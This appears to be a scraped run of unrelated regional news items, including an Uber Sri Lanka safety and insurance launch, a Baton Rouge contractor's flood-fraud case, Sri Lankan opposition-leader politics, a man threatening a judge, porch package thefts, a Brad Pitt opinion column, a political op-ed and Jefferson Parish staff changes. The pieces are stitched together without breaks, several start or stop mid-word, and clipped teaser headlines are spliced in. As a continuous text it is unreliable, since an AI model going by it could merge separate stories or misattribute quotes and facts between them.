announcement, Surekha Alles, Managing Director of Allianz Insurance Lanka Ltd said, "We congratulate Uber on its three successful years in Colombo. As one of Sri Lanka's largest general insurers, Allianz is pleased to partner with Uber to bring our best-in-class insurance expertise to meet the evolving protection needs of our customers. We are confident that our innovative insurance solutions will bring optimum protection and peace of mind to all driver partners and riders of Uber." Ankit Gupta, Uber Sri Lanka What were announcing today: Safety Toolkit: o Riders can find safety tips built in partnership with law enforcement and learn about our insurance protections, and community guidelines o This puts key safety information and features for riders all in one place, which riders tell us is helpful o With the Safety Toolkit, Riders can also access the Trusted contacts feature which allows riders to designate up to 5 loved ones with whom they can be regularly prompted to Share Trip. o Riders can modify the settings to share all trips, night-time only trips, or none at all Emergency button: o We are launching an emergency button for riders to have direct access to 119, the police control room o This will be placed under the shield button in the safety toolkit umbrella and will offer a quick swipe feature for riders during an unwanted emergency Insurance for riders and driver partners: o A first-of-its-kind insurance program that will provide both riders and driver partners with complementary coverage for accidental death, permanent disablement, and hospitalization in case of an accident while on-trip using the Uber App o The unique insurance cover is underwritten by Allianz Lanka Insurance Ltd. and will be offered at no cost to the driver partners, giving them peace of mind while enjoying the flexibility of independent work Purchases made via links on our site may earn us an affiliate commission Capping off the productive hiatus ahead of its 20th anniversary in September, the band was named Entertainers of the Year by the Big Easy Awards. A Baton Rouge contractor convicted in a scheme to defraud homeowners who flooded in August 2016 had his builder's licenses revoked Thursday despite his attorney's contentions that his client's novel plea bargain in the criminal cases pleas that allow him to maintain his innocence should have allowed him to keep the contractor credentials. The Louisiana State Licensing Board for Contractors was unmoved and revoked the residential, commercial and mold remediation licenses for builder Matthew J. Morris, who said later he is planning an appeal in state court. The board, which had suspended Morris' licenses shortly after he was arrested on fraud and other counts in February 2017, threw out the licenses on the basis of two points after a lengthy trial-like hearing Thursday in Baton Rouge. The board found Morris failed to disclose prior criminal convictions when he originally applied for the licenses years earlier and that the criminal pleas Morris reached this year demonstrated problems he had operating as a contractor. In September, Morris, chief executive officer of Complete Construction Contractors, entered what are known as Alford pleas to two counts of filing false public records in Ascension and Livingston parishes. Under that type of plea, Morris admitted the evidence gathered against him would have likely led to his conviction on the public records counts, but he was allowed to maintain his innocence. He was given concurrent four-year prison sentences in the plea bargain. More than 160 counts of contractor and insurance fraud and other charges in Livingston, Ascension, East Baton Rouge and St. John the Baptist parishes were also dropped in the plea deals. A factual basis that was a part of both plea documents lays out the alleged scheme and notes the liens that resulted in the false public records convictions were the final stage in Morris' efforts to bilk homeowners. The pleas also formed the basis of the licensing board's charge that Morris had so many problems operating as contractor that his licenses should be revoked. At Thursday's hearing, Morris' attorney Robert Aguiluz argued that while the Alford pleas allowed Morris to settle his criminal charges, they could not be used against him in any other proceeding. "They were not an admission," Aguiluz told the board. Morris told the board he entered the Alford pleas because he had been in jail for more than 20 months, with little hope of a trial date, and wanted to get back to his family. He had been held behind bars from the time of his arrest in February 2017 until his release from prison on Sept. 24 shortly after he entered his final plea in Ascension. Morris said he would never have taken a plea where he admitted actual guilt. He said he refused an offer from prosecutors early in his case to pay restitution of $750,000 to settle his charges. Why, Aguiluz asked him at the hearing, did Morris insist on the Alford plea. "Because I'm innocent. And so I lost everything," an emotional Morris said. "I could have stroked a check and gotten out, but my reputation means more to me." Top stories in Baton Rouge in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up +5 Video: BR contractor accused of flood fraud maintains innocence after plea deal GONZALES After entering a plea bargain to settle accusations that he bilked flood victims out of the tens of thousands dollars, convicted co Morris' truthfulness on his license applications was also a subject of the hearing Thursday. Brad Hassert, the board's compliance director, testified the board had been receiving complaints about Morris, including allegations that he had prior convictions, in 2016 and 2017. Hassert sent an investigator to uncover records on a felony DWI and other misdemeanor convictions that Morris failed to disclose on his residential and commercial license applications. Morris told the board he did not disclose those convictions because he believed at the time they were subject to expungement or pardon. Aguiluz argued that under those conditions, if true, Morris was legally not required to disclose the convictions. Morris added that he did disclose his DWI and other alcohol-related offenses in a 2016 application for his mold remediation license because he later realized after he was unable to buy a gun and spoke with an attorney that the expungements weren't in place. Kevin Landreneau, the board's attorney, said neither Morris nor his attorney provided any proof his convictions had actually been expunged. Landreneau also reminded the board that the catchall terms Morris used on the mold license application regarding other alcohol-related offenses didn't fully describe all of Morris' convictions. Notorious flood contractor Matthew Morris gets 4-year prison term in Livingston Parish LIVINGSTON A Baton Rouge contractor accused of defrauding anxious flood victims following the August 2016 deluge was sentenced to a four-yea Even as several dozen homeowners came forward in early 2017 complaining about Morris' business practices, Morris has proclaimed his innocence of any wrongdoing. He has more recently claimed he lost money on his post-flood contracting work, blaming his subcontractors for the homeowners' troubles. At the time of Morris' pleas, prosecutors explained they reached the deal with an eye toward ensuring Morris' insurers would help pay restitution to his victims. More than $299,200 has been paid to victims in Ascension and Livingston parishes, prosecutors have said. Can't see video below? Click here. s Sri Lanka seemed to have sorted out a large share of its political crisis on December 20 (Thursday) by appointing a 29-member Cabinet, there still seems to be burning ashes under the fire caused by the political impasse with two individuals claiming that they hold the post of Opposition Leader. Speaker Karu Jayasuriya by informing Parliament that he had accepted Mahinda Rajapaksa as Opposition Leader gave hope to two sections of the citizenry. One is the Sri Lanka Podujana Peramuna (SLPP) whose members consider him to be a DemiGod who can achieve the unthinkable. The other section of the divide comprises those who have their thinking caps on and want to have an able politician who can play the role of watchdog in parliament. Many are of the opinion that Rajapaksa with his ever present vigil and gift of the gab would be the man to keep a check on the activities of the Government as the Leader of the Opposition. But now Rajapaksa encounters a problem because some members of minority parties have posed the question whether the former Prime Minister is eligible to retain his parliamentary membership because he took membership of the SLPP while being a member of the Sri Lanka Freedom Party. According to article 99 (13) of the Constitution a politician ceases to be an MP when he leaves a party and contests from another party. Rajapaksas critics say he did so by contesting the General Elections under the UPFA ticket. But a fact which is in Rajapaksas favour is that the UPFA is not a party and is an alliance. There are also claims that Rajapaksa never left the SLFP. Going down memory lane to 2015 September the majority in Parliament warmly welcomed the appointment of Sampanthan as the Leader of the Opposition. At the time this appointment was made, Sampanthan was one of the most senior members of the parliament and much was expected of him. But he never rose to the stature that the post offers to whoever who posses it. For the record one time president J.R Jayewardene elevated the post of Leader of the Opposition to that of a Cabinet Minister. The opposition often opined that Sampanthan was not strong enough for the post and hardly aired his voice on matters which affected the country at large. He was mostly seen raising the issues which were of utmost importance only to the Tamil community. Sampanthans major role in parliament as Opposition Leader came under scrutiny when he chose to vote against a no-confidence motion which was brought to remove Premier Ranil Wickremesinghe. The opposition questioned Sampanthans thinking because the stance he took then made it evident that he was trying to save Wickremesinghe. The rest of the opposition was furious and warned that they would agitate nationally and internationally for the removal of Sampanthan. The Joint Opposition wrote to the Speaker and wanted Sampanthan removed and added that if not a no-confidence motion would be brought against him. These are the memories we have of Sampanthan while he served as the Leader of the Opposition. What has transpired now is that parliamentarians Lakshman Kirella, M.A. Sumanthiran and Rauf Hakeem have requested to have a Parliament Select Committee to inquire into the matter whether Rajapaksa still holds his parliamentary membership because there are opinions formed that he has flouted the Constitution by holding membership in two political parties. While the battle continues whether Rajapaksa can start functioning as the Leader of the Opposition or whether Sampanthan can as his appointment affords is in a position to continue in this capacity. But there is a statement which Sampanthan made to the press regarding this issue which will stall all Sri Lankans in their tracks. Sampanthan has said that Sri Lanka has two opposition leaders and thereby carries the danger of being called a failed state. The last bit of this phrase which pertains Sri Lanka to a failed state is food for thought and must be considered above all else for posterity A Baton Rouge man arrested twice for threatening a juvenile court judge who terminated his parental rights pleaded guilty Thursday to violating a protective order and his probation. Michael James Baxter, whose child had been put up for adoption, was sentenced to 6 months in jail but given credit for the nine months he has been incarcerated this year. He was released from Parish Prison but ordered to immediately undergo a mental health evaluation. He will be under home curfew and be electronically monitored. +2 Baton Rouge man on probation for threatening local judge arrested again for alleged judicial threats A Baton Rouge man recently arrested and accused of threatening two local judges while on probation for making threats against one of them will Baxters first arrest came early last year after he posted on Facebook in January 2017, If you want me to be quiet you have one choice, Kill me. I dont give a f*** about your position or the 'power' you have. I will not kill you but I will say this, you better hope our paths never cross again because I will beat the s*** out of you for destroying my family without any probable cause. It would be meaningless to kill you. I wouldnt cause your family the same pain you caused by taking a loved one away. In relation to that social media post, Baxter pleaded guilty last year to making threats against East Baton Rouge Parish Juvenile Court Judge Adam Haney and was put on probation for three years. Baxter was ordered to have no contact with Haney. Then, Baxter was arrested again earlier this year after the East Baton Rouge Parish Sheriffs Office alleged he threatened in an Instagram post to "shoot that judge in his face for every family torn apart. Baxter, 28, admitted Thursday he violated the protective order that state District Judge Lou Daniel issued after his guilty plea last year. Baxter also admitted to violating his probation. Baxter, whose guilty plea last year was to public intimidation, was charged with that same crime following his second arrest in March, but the state Attorney General's Office recently dismissed that charge while citing an August federal appellate court decision. Top stories in Baton Rouge in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up Judge sends case of man accused of threatening EBR judge to state Attorney General's Office The case of a 27-year-old man accused of threatening an East Baton Rouge Parish Juvenile Court judge has been sent to the state Attorney Gener The 5th U.S. Circuit Court of Appeals in New Orleans ruled that a Louisiana law making it a crime to threaten a public official is overly broad and therefore unconstitutional. The state law made it a felony to "use violence, force or threats upon (a person) with the intent to influence his conduct in relation to his position, employment or duty." "Because the meaning of `threat' is broad enough to sweep in threats to take lawful, peaceful actions such as threats to sue a police officer or challenge an incumbent officeholder (the law) is unconstitutionally overbroad," the 5th Circuit said. Baxter also was accused in March of threatening state District Judge Beau Higginbotham via social media in January, but that accusation was part of the public intimidation charge that was dismissed. Higginbotham had set Baxter's bail after his 2017 arrest. Daniel said he will review Baxters case on Jan. 31. Man who threatened Baton Rouge judge in letter, social media post pleads guilty, put on probation A 27-year-old man who spent eight months in jail after threatening an East Baton Rouge Parish judge is now on probation after pleading guilty Baton Rouge man accused of threatening judge wants EBR prosecutors recused A Baton Rouge man accused of threatening a local juvenile court judge with physical violence doesn't want the East Baton Rouge Parish District A jailed Baton Rouge contractor accused of defrauding scores of victims of the unprecedented 2016 flooding in south Louisiana will be examined by a two-doctor sanity commission to determine whether he is competent to represent himself, a judge decided Tuesday. State District Judge Tony Marabella made that decision after Matthew Morris rejected help from three East Baton Rouge Parish public defenders and said he wants to act as his own attorney. Morris, 40, said he would rather represent himself because those public defenders have never handled a case involving alleged white-collar crime. "I don't feel I have a choice," he told the judge. +2 'My voice hasn't been heard': BR contractor accused of flood-related fraud emotional in court A jailed Baton Rouge contractor accused in East Baton Rouge and several other parishes of defrauding victims of last summer's catastrophic flo Marabella disagreed and said Morris was turning down very competent representation. "I certainly and sincerely advise against that," the judge stressed. Morris said he realizes representing himself is a "bad decision." "I think there's a problem there," Marabella noted. "I think it's a horrible decision." "It's my life," Morris replied. At that point, the judge again questioned Morris' decision and appointed two doctors to examine him to see if he is competent to represent himself. Top stories in Baton Rouge in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up Morris, who is demanding a speedy trial, objected and said he would ask the state 1st Circuit Court of Appeal to review the judge's decision. Marabella scheduled the sanity hearing for Feb. 23. The judge said he will allow Morris to represent himself if the doctors find he is competent to do so. Morris is charged in East Baton Rouge Parish with four counts of residential contractor fraud and one count of filing or maintaining false public records. He also is charged in Livingston Parish with 51 counts of contractor and insurance fraud. In Ascension Parish, he faces 84 counts of contractor and insurance fraud, theft and other charges. +2 Contractor accused of flood-related fraud in 3 parishes pleads not guilty in EBR A Baton Rouge contractor accused of defrauding victims of the August flooding in three parishes pleaded not guilty Monday in East Baton Rouge Morris also faces charges in St. John the Baptist and Terrebonne parishes. Morris, according to authorities, charged clients for work he did not perform for homeowners whose houses flooded in August 2016, taking most of their insurance proceeds and presenting them with a large final bill to finish the job on their gutted homes. When clients questioned the big bills and terminated their contracts, Morris would file liens against their homes for fees and charges the victims had challenged; Morris claimed the fees and charges were legitimate or called for in the contract, law enforcement agencies have said. The liens hindered homeowners' ability to finish restoring their houses. Morris has said he ultimately agreed to lift the property liens he placed against his customers. Two of Morris' previous attorneys have withdrawn from representing him. One of them, Sara Johnson, of New Orleans, cited "irreconcilable differences" in a court filing. The other, Ascension Parish Councilman Travis Turner, recently told Marabella that their attorney-client relationship had soured. Morris, owner of Complete Construction Contractors, maintains his innocence to all the charges filed against him. Online ordering changed the holiday shopping landscape in recent years, but there's at least one important reason Amazon and internet-based retailers can't compete with Santa and his reindeer. Package thieves have descended upon neighborhoods in Baton Rouge and across the country, dashing Christmas dreams and igniting social media crusades against them. Documenting the quest for justice, local Facebook groups and neighborhood social media websites are filled with surveillance footage showing "porch pirates" sauntering up to doorsteps and snatching boxes. Law enforcement agencies have also been warning residents to take precautions when scheduling home deliveries, noting that thefts tend to rise with the increase in unguarded packages during the holiday season. Many in the Baton Rouge area have turned to technology to help combat the issue, such as doorbells equipped with cameras linked to their cellphones or lock boxes that can securely store packages. Amber Gorham, of Prairieville, received a notification on her phone one morning this month. Her doorbell setup relayed video of an Amazon package her brother's Christmas present being delivered outside her house. Less than an hour later, she received another notification that showed the same package being stolen off her doorstep. Gorham posted the video on Facebook, reported the theft to authorities and received a refund from Amazon. And luckily, she had time to reorder the present, shipping it this time to her dad's house, and now has it wrapped and ready for Christmas. But she said her main concern is not the money the gift cost around $30 but the principle. "It's the moral that someone went on your property and took something that's yours," she said. "That people think they can get away with that, especially around Christmas when you're supposed to be focused on giving." And that her package was stolen so soon after being delivered made her "awful suspicious" the thief was following an Amazon van around the neighborhood. The Ascension Parish Sheriff's Office issued a warrant in her case for Chad Rodrigue, 32, this week, and on Wednesday he surrendered to authorities. He was booked on theft and criminal trespassing. +5 Baton Rouge is dashing through the holidays; Here are seasonal events going on around town The holiday season is well underway in the Baton Rouge area. By now, we're sure the tree is up, the lights have been strung across the front p The ugly side of Christmas Local law enforcement agencies have been alerting the public about the threat of package thefts in recent weeks. The East Baton Rouge Parish Sheriffs Office has promoted a photo of one such package thief on social media, asking for help locating Terri Leigh Huser, 25, who is suspected in several cases. The Ascension Parish Sheriffs Office on Tuesday arrested Verenize Alvarez, 22, a so-called "Amazon package thief." A 2017 study conducted by a packing company found that 31 percent of 1,000 people questioned had experienced package theft. In that same group, 53 percent said they have changed their plans to make sure they're home to receive a package while 41 percent said they've avoided purchasing certain items online to avoid potential theft. Louisiana was also found to be the state with the seventh most holiday thefts nationwide, according to security company Viviant's analysis of FBI theft data during the holidays from 2012 through 2016. Can't see video below? Click here. Baton Rouge police spokesman Sgt. L'Jean McKneely Jr. said he advises residents to be aware that package thefts are happening in and around Baton Rouge. He said posting surveillance video of suspected thieves on social media is a good idea, but people should also notify authorities. Chad Jones, a detective with the East Baton Rouge Parish Sheriff's Office, agreed, explaining that investigators often use social media to help them investigate instances of package theft. McKneely also recommended that residents do what they can to eliminate the problem, like having someone at home to receive packages when possible or picking them up at businesses. It's not clear exactly how many such cases have been reported to local law enforcement this holiday season or how many arrests have been made. Top stories in Baton Rouge in your inbox Twice daily we'll send you the day's biggest headlines. Sign up today. e-mail address * Sign Up 'Infuriated' Videos and photos of Baton Rouges package thieves some children, others middle-aged men or young women have popped up across social media over the past weeks, filling Facebook feeds and driving heated discussions on Nextdoor and other community websites that connect people based on their locations. At times, neighbors have used their online networks to team up, linking security footage from a front door or porch to surveillance video from further down the street, matching up a suspect with a vehicle. Others have not held back expressing their frustration with the thefts and their relatively easy execution. But some have taken to humor, posting about how thieves have really made out with their inexpensive and mundane packages, like boxes of cat litter. Claire Couvillion, a resident in Southdowns, posted a video from her doorbell camera of her package thief on Nextdoor, Facebook and sent it to local TV stations. She said the man took three packages from her front porch in broad daylight and the worst part it was while she was inside her house. "I didn't get the (doorbell camera) alert until maybe 20-30 seconds after he was on my porch, so I missed him," Couvillion wrote in an email. "I was infuriated when it first happened." Police have said they linked at least one other theft case with Couvillion's, but they have not made an arrest. Couvillion hopes she can receive a refund from Amazon for the clothing and cords case but she said she won't let the thief ruin her Christmas. "At the end of the day, he has to lay his head on his own pillow and sit with what he has done to people," she said. +10 Gifts for dogs (and their people) range from dressy to high-tech, yummy to brainy Do we humanize our dogs, or do they dog-ify us? No matter how you see it, our dogs are cherished members of the family. And like any good pare Addressing the problem But moving forward, Couvillion said she is looking into obtaining a lockbox to more securely receive packages, something that has worked for her sister. She knows being home for an arriving package, or going home once she receives an alert, is unrealistic as a nurse working 12-hour shifts. Many of the package theft threads on social media note possible remedies, such as using the new Amazon lockers at Whole Foods, where customers can pick up packages instead of leaving them unattended at front doors. Officials with both UPS and Amazon said these options are most secure. For UPS, customers can use the company's nearly 9,000 "access points" nationwide, places like UPS stores or neighborhood grocery stores. Packages can be picked up or dropped off, like the Amazon lockers. However, both companies noted that door-front thefts of packages remain much rarer than it might seem, with the vast majority of packages delivered without issue. But both said if something does go wrong, first contact local authorities and then a customer service representative. Sometimes, though, just one theft is enough to set someone off, like the former NASA engineer who's become the latest craze on the issue in the form of an 11-minute long YouTube video getting revenge on his package thieves "fabulously.' " Many in the greater Baton Rouge area felt a sort of satisfaction watching the thieves who took Mark Robers booby-trapped package cover them with glitter and hit them with fart spray. "Brilliant!" one person wrote on Nextdoor. Another replied: "We need about a hundred of these." "Several people have sent me that video," Couvillion said. "Hysterical! I wish I had that in my possession!" It's a fair question. Did actor Brad Pitt raise millions to build houses in New Orleans' Lower Ninth Ward solely because he wanted to help homeowners devastated by Katrina or did he do it for the glory? It's no secret celebrities often seek to elevate themselves to a higher status other than someone who simply memorizes lines for a living. Actors can be an insecure bunch, and for good reason. Even though they're mostly adored by the public, deep down they must know they're famous because they chose a profession in which their main skill is pretending to be someone they're not. Hollywood celebrities have a history of self-aggrandizement while practicing stunning hypocrisy. Pitt, for example, has been an outspoken critic of those who ignore the dangers of climate change. And yet according to Architectural Digest, the actor and his ex-wife, Angelina Jolie, lived in five different houses at the time of their divorce two years ago. They lived in two properties in California, one in New York City, another in France, and a 7,000-square foot home in New Orleans' French Quarter. The home in France had 35 rooms, a helicopter pad, multiple swimming pools and is worth $60 million. According to US Weekly, Pitt and Jolie used their private jet to travel back and forth to their houses across the globe. Pitt leaves quite the carbon footprint for someone lecturing the rest of us about the dangers of climate change. +12 Closer look at 'Make it Right' homes at center of lawsuit against Brad Pitt foundation Lawrentay Dabons wife was seven months pregnant when the couple closed on their tidy, one-story house on North Derbigny Street, in what becam Pitt's foundation claimed to have raised and spent more than $25 million to build more than 100 environmentally friendly houses in New Orleans after Katrina. Those who were low-income and lost their homes to Katrina were eligible to buy the houses. But now some homeowners say their places are falling apart. They say they're moldy, leaky, and structurally collapsing. Understandably, they're suing Pitt and his foundation. But Pitt's legal team filed a motion this past week asking a judge to remove the actor from the class-action lawsuit, claiming homeowners have not mustered "a single factual allegation that Mr. Pitt made any promise" to any of them about the houses. In a recent legal filing, Pitt's foundation admitted knowing of problems with the houses it built as early as 2009. But owners say Pitt has ignored them and refused to make repairs. They claim the actor had to know about the houses falling apart since he's the founder and director of the foundation that built them. But Pitt, whose estimated worth exceeds $250 million, argued through his lawyers he was only the director and founder of the foundation and thus not legally responsible to individual homeowners. The homeowners argue Pitt claimed personal credit for the rebuilding effort and benefited from significant free publicity. Pitt wasn't shy about basking in the glory, doing several interviews with media outlets about the rebuilding effort. "While plaintiffs urge that certain generic and innocuous statements Mr. Pitt allegedly made to the press somehow give rise to claims against him individually, this is simply unsupportable," claimed Pitt's attorneys in a recent court filing. Pitt's foundation is now suing the architect that designed the poorly constructed houses. Pitt's foundation estimates repairing the homes could cost as much as $20 million. That's $5 million less than the $25 million Pitt is paid on average per movie. Pitt was invited to The White House and Capitol Hill to tell us all about the environmentally friendly houses he unselfishly built for Katrina victims back in 2007. Then-Speaker of the House Nancy Pelosi, a California Democrat, praised Pitt for helping Katrina victims. "Brad is a real hero for the people of New Orleans and a real role model for the country," said Pelosi. Was it the prospect of that acclaim that motivated Pitt to take on the project in the first place or did he do it solely out of concern for Katrina victims? We'll never know for sure. Only Pitt knows. Brad Pitt wants to be dropped from lawsuit over shoddy 'Make it Right' homes Just before the 10th anniversary of Hurricane Katrina, Brad Pitt said he got a swell of pride whenever he drove past the colorful homes that But what we do know now is that Pitt has washed his hands of all of this. And thanks to his foundation, some who lost their previous homes to Katrina now find themselves paying a mortgage on a house that's falling apart. Email Dan Fagan at faganshow@gmail.com. Twitter: @DanFaganShow. Residents of the Cambridge Neighborhood of LaPlace Louisiana flee rising flood waters associated with Hurricane Isaac Wednesday Aug. 29, 2012. The state sent scores of buses and dozens of high-water vehicles to help evacuate about 3,000 people from St. John the Baptist Parish after Tropical Storm Isaac pushed water from lakes Pontchartrain and Maurepas into parts of LaPlace. A proposed $760 million levee project will hopefully protect homes from future floodwaters from Lake Pontchartrain. (AP Photo/ARTHUR D. LAUCK, The Advocate) ORG XMIT: LABAT102 I want to comment on the wonderful recent letter from Judy Laborde. Laborde mentioned the tremendous academic achievement of Vietnamese students since they came to America, with nothing, in order to escape the Viet Cong. She said, "I am so impressed with the people of Vietnam. They work hard, study hard and live in peace. To me, they are the gold standard for being an American." I totally agree, but let's fully credit the Vietnamese parents who set high moral and academic standards for their children's success. Letters: Vietnamese immigrants define what America means I would like to share my personal story about encountering the people from Vietnam who settled in New Orleans after the fall of Saigon. Contrast these parents with many parents born and raised in the United States. Visit any juvenile detention facility in Louisiana, and you will discover that most all of these detainees read below grade level. They also, unfortunately, often reflect the moral and academic standards of their parents. The Louisiana education system can do better, but they can never overcome parental neglect and absence. Quin Bates retired Episcopal deacon Marrero ll things considered, the 52-day government shot itself in the foot by assuming that populist legitimacy overrides constitutional legality. There are times when the one will supersede the other, but such times come about only if the government in power is so unpopular that a Restoration is called for. The truth is that the Ranil Wickremesinghe government did not covet enough unpopularity for it to be swept aside by a Rajapaksa Restoration. And the makers and of the latter Project let go of one constituent element that had a say in its downfall; the independence of the system. You can argue against the ruling of the Supreme Court, but theres no denying the fact that, for the first time in many years, it didnt tilt towards the man in power. "No one, at least no one with patriotic inclinations, will support any move aimed at abolishing the Presidency unless and until these needs are met" Then again, the man in power isnt the man in power. Lakshman Kiriella and other members of the UNPs Royalist Regency may oppose Maithripala Sirisenas decision to keep certain Ministries under him, but they (begrudgingly) recognise his rights to such tokenistic powers. In other respects, Sirisena is powerless. Attorney General Jayantha Jayasuriyas assertion about those powers being akin to a monarchs, read in this light, is plain nonsense on stilts. The 19th Amendment did impose checks on the man, whether or not such an act of robbing a man elected on a wide mandate, of his authority is desirable for another debate altogether. Personally (and I say this without any hesitation), I am for the Executive Presidency. But as with every power and privilege conferred on the ruler of a country it is, for the lack of a better way of putting it, a double edged sword. On the one hand it served its purpose during those heady war years when a separation of powers of the titles of the Head of State, the Head of Government and Commander of the Armed Forces would have been disastrous. On the other hand, with a series of unfortunate rulings that gave carte blanche to the president in the Rajapksa era and even before it, denigrated the idea of parliamentary supremacy and turned parliament into a spectacle. "I do not blame Ranil Wickremesinghe. Nor do I blame Maithripala Sirisena and Mahinda Rajapaksa. Nor do I blame the system." Despite my prejudices against the institution, however, I will make one thing clear. In 2015 the mandate given by 6.2 million voters was to change the governance structures that had been in place since J.R. Jayewardenes presidency and had been exploited to bring about sweeping powers for and by Mahinda Rajapaksa. But such a mandate does not by itself exclude the Executive Presidency. This is not because past historical experience indicates clearly that other forms of governance in Sri Lanka have had their share of abuse(r)s. This is also because, given the penchant of politicians and of voters to change allegiances, an alternative to the Executive Presidency must satisfy the primary needs of a country: sovereignty of the country and sovereignty of the people. "A peoples sovereignty, on the other hand, rests fairly and squarely upon an institution to which lawmakers have been elected, not selected, and from which those lawmakers can be ejected" No one, at least no one with patriotic inclinations, will support any move aimed at abolishing the Presidency unless and until these needs are met. There is a problem, however; a countrys sovereignty, in the populist sense of that term, is best served by a powerful Leviathan-like figure, the epitome of which, in Sri Lanka, was J.R. and Mahinda (and to a lesser extent, Premadasa). A peoples sovereignty, on the other hand, rests fairly and squarely upon an institution to which lawmakers have been elected, not selected, and from which those lawmakers can be ejected. There is then a clash, a contradiction, if not contradistinction, among the arms of the State which stand for these two sovereignties, the Executive and the Legislature. No, I am not suggesting here that people power (jana balaya) is at odds with nationalism. In fact far from it being so, be it in the West or the East, there are times when the two will coincide. But in the popular myth of yahapalanaya and democracy perpetuated by the present government, the two cannot be one and the same. And why? Because in postcolonial societies like Sri Lanka, politicians look up to the ideal of a political ism over its reality even as the other part of the world occupied by the international community engage in doublespeak and both champion, say, human rights AND de-validate them by propping up dictatorships friendly to them. This is a tragedy because the political debate in postcolonial countries is dichotomised between the democrats and the populists. It is a dichotomy refracted by the Western media: those who win elections are portrayed as demagogues, and those in the Opposition are portrayed as democrats fighting for people who never voted them in! We saw this clearly in the 52-day Mahinda-Maithripala government. Shades of grey were abandoned, and in the rush to validate the ousted government, commentators and apologists (from the left and right) depicted the political scene as a battle between good and evil, light and darkness, decency and demagoguery, erudition and ignorance; in a word, between democrats and populists. As if demagogues cant be decent, as if the uneducated are worse than the educated, as if democrats cant be populists! "The yahapalanist discourse is hence in a shambles. It is dominated by intellectuals and artistes who project themselves as the superiors of politicians and ideologues" The yahapalana discourse is based on these dichotomies and they are, far worse I should think, perpetuated by everyone. Amila Muthukutti in an article titled The Rise of Social Media and Fall of Mainstream Media makes the case for the Facebook generation and denigrates the lamestream media outlets which were in favour of the Rajapaksas. But with all due respect, there is nothing different between the one and the other; social media activists are just as blinded by political loyalties and good/bad binaries in the yahalapanist scheme of things as the traditional media are by its fawning to such binaries in the Rajapaksist scheme of things. I do not blame Ranil Wickremesinghe. Nor do I blame Maithripala Sirisena and Mahinda Rajapaksa. Nor do I blame the system. I blame the way everyone, including those who market themselves as neutral political players, has let the debate over such important issues as the Executive Presidency and good governance slip into a series of meaningless, simplistic, reductionist dichotomies. These dichotomies are what account for the popular myth, sustained predominantly by the young, but also the educated middle class, that the ousted government was the last real hope they could resort to. When arguments to the tune of, We arent for Ranil but we are for democracy are being made by activists who a) Didnt as much as open their mouths when the Central Bank was being robbed and b) Distinguish between the ideal and the man they inadvertently champion as the best candidate to make that ideal a reality, I can hence only laugh. "We used to believe, when we were small, that politicians were bad and the people who rebelled against them were good" The yahapalanist discourse is hence in a shambles. It is dominated by intellectuals and artistes who project themselves as the superiors of politicians and ideologues. They are not. The case of Dambara Amila, Sarath Wijesuriya, and Gamini Viyangoda should make this evident for everyone and anyone. In that sense the discontent channelled by the actor, the playwright, and the intellectual over the past few weeks has been, for the most, a farce. Theres nothing to suggest, nothing substantive, that these purveyors of good governance are better representatives of the people than those we have elected. Theres nothing to bear out their low opinion of populism because their own programme for a better polity, despite the resonant phrase and the outbursts of self-righteous fury (remember Manuwarnas kalakanni Disneylanthaya?), amounts to little. We used to believe, when we were small, that politicians were bad and the people who rebelled against them were good. But then the politicians were people once and people also have within themselves the tendency to enrich themselves. Unfortunately for us, though, the yahalapanaya debate, since 2015, has been dominated by this good/bad view. In this scheme of things, civil society, from intellectuals making grandiloquent claims for neoliberal compradores to good governance activists going mum over the actions of the government, has been given enough carte blanche. The Rise of Social Media and Fall of Mainstream Media makes the case for the Facebook generation and denigrates the lamestream media outlets which were in favour of the Rajapaksas" Next week Ill explain why that good/bad rift that civil society has brought up between the people and their representatives is so simplistic that it has succeeded in concealing more insidious forms of power structures and hierarchies. For now Ill end with a contention: no amount of debate over the Executive Presidency, that most potent and hated symbol of the Rajapaksa Era (an era of darkness for those who have forgotten J.R. and Premadasa and Chandrika), will be constructive unless we look beyond the we-are-holier-than-them attitude of civil society activism. UDAKDEV1@GMAIL.COM Two of Jefferson Parish President Mike Yenni's top aides said Wednesday they are leaving the administration at the end of the year, one of them with an eye toward running for parishwide office in the fall. Chief Operating Officer Keith Conley, Yenni's chief aide, said he has been considering his next move over the last three or four months and will likely run for one of the two at-large Parish Council seats or the parish presidency in October. He considered running for sheriff in March but did not. Natalie Newton, Yenni's deputy chief operating officer, said she will step down at the end of the year as well. The two departures come less than a year before the 2019 election for parish president, which Yenni has yet to say if he plans to enter. His once-bright political fortunes have dimmed since a 2016 sexting scandal in which he admitted sending inappropriate texts to a 17-year-old boy. Conley, who was a Kenner City Council member before joining Yenni's administration, said he wants to size up the competition before deciding which race to enter. Asked if he would rule out the parish president's race if Yenni decides to seek re-election, Conley said his preference would be to run for an open council seat. But he couldnt say what role Yennis decision would play in his own. At this point, the only open parishwide council seat is the one that will be vacated by Councilman Chris Roberts, who cannot run for re-election because of term limits. The other parishwide seat will open up if Councilwoman Cynthia Lee-Sheng decides to run for parish president, which is widely expected. In the meantime, Conley said he plans to enter private legal practice and perhaps do some contract work. Newton said she will take a job as an administration manager with T. Parker Host, a Virginia-based shipping firm that closed a deal this year for the former Avondale Shipyards site. The deal was hailed by Yenni as a major victory for the parish. Newton said she had not planned to switch jobs. "I had no intention of leaving," she said. "They sought me out." Her last day with the parish is Dec. 28. During the lengthy negotiations before the Avondale deal closed, Newton said, she helped put T. Parker Host in touch with parish departments the firm needed to work with, but she said she had no direct influence on the deal. She intends to help run the office at the Avondale facility, she said. Yenni said he has candidates in mind to replace both Conley and Newton but isnt ready to make any announcements yet. He praised Conley, saying his chief operating officer has done a phenomenal job of running the parish, which Yenni referred to as a $650 million business. Conleys departure didnt come as a surprise, he said. Keith told me earlier this year he planned to explore his options, Yenni said. Hes got to do whats right for him and his family. Newton and Conley have been close associates of Yenni since his days as mayor of Kenner. Conley also served as an at-large councilman in the city. Conleys plans complicate an already intriguing set of races fueled by the perceived political weakness of Yenni and the expectation that Lee-Sheng will run for parish president. If Lee-Sheng does jump into the president's race, it will open a second at-large council seat for which Conley could contend. Those races likely wont be cakewalks either. District 2 Councilman Paul Johnston has said he intends to run for one of the at-large seats, and District 1 Councilman Ricky Templet is also widely believed to be considering a run. And if the parish presidents race becomes crowded, additional candidates could spill into the races for council seats. If he runs, Conley will have to work hard to overcome the Yenni association, which many believe felled John Fortunatos race for sheriff earlier this 